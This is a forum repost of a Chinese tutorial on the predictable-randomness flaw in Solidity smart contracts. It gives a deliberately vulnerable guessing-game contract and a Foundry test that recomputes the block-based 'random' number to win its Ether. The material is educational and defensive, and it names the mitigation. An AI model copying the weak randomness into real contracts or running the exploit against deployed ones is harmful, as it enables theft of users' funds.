光之使者 发表于 2025-1-4 04:44:12

区块链安全常见的攻击分析——可预测随机数漏洞 (Predictable Randomness V

重点:区块链上的全局变量(如区块哈希、区块号、区块时间戳等)都是可预测的,若以它们为底子天生随机数,攻击者可以通过计算获取随机数的结果。
1.1 漏洞分析



[*]只需要知道合约在摆设的时候区块number和时间戳就可以求出这个随机数
https://i-blog.csdnimg.cn/direct/30026feb3e6e42eb80973ca8829a4351.png
1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称: 可预测随机数漏洞 (Predictable Randomness Vulnerability)

描述:
使用区块哈希、区块号、区块时间戳等全局变量是不安全的,
因为矿工或攻击者可以操控这些变量。

场景:
GuessTheRandomNumber 是一个游戏,如果你能猜中伪随机数,你将赢得 1 Ether。
伪随机数是通过区块哈希和时间戳生成的。

乍一看,似乎不可能猜中正确的数字。
但我们来看一下如何轻松获胜。

1. Alice 部署 GuessTheRandomNumber 合约并存入 1 Ether
2. Eve 部署攻击合约 Attack
3. Eve 调用 Attack.attack() 并赢得 1 Ether

发生了什么?
攻击者通过简单地复制生成随机数的代码,计算出正确答案。

缓解措施:
不要使用 blockhash 和 block.timestamp 作为随机数的来源。

参考:
https://solidity-by-example.org/hacks/randomness/

*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
      uint answer = uint(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
      );
      console.log("GuessTheRandomNumber-guess()-answer:", answer);

      if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
      }
    }
}

1.3 攻击分析


[*] 直接接纳同样的代码获取即可https://i-blog.csdnimg.cn/direct/5e89e4ee31394595a1ed0d420e29a157.png
[*] 由于猜对后会返回发送的币,以是要注意需要加上receive()接收函数
https://i-blog.csdnimg.cn/direct/9f7d494d828c4cc0aa40c92a35ee22a4.png
https://i-blog.csdnimg.cn/direct/a4266a47ce9d4238be9a7aeca7b46afb.png
1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Randomness.sol";

contract ContractTest is Test {
    GuessTheRandomNumber GuessRandomContract;
    address Koko;
    address Aquarius;

    function setUp() public {
      Koko = vm.addr(1);
      Aquarius = vm.addr(2);
      vm.deal(address(Koko), 1 ether);
      vm.deal(address(Aquarius), 1 ether);
      vm.prank(Koko);
      GuessRandomContract = new GuessTheRandomNumber{value: 1 ether}();

      console.log("Randomness_Attack-setUp()");
    }

    function testRandomness() public {
      uint guessAnswer = uint(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
      );
      console.log("Test-testRandomness()-guessAnswer:", guessAnswer);
      GuessRandomContract.guess(guessAnswer);
    }

    receive() external payable {}
}
1.5 在sepolia测试网复现Randomness随机数攻击


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 区块链安全常见的攻击分析——可预测随机数漏洞 (Predictable Randomness V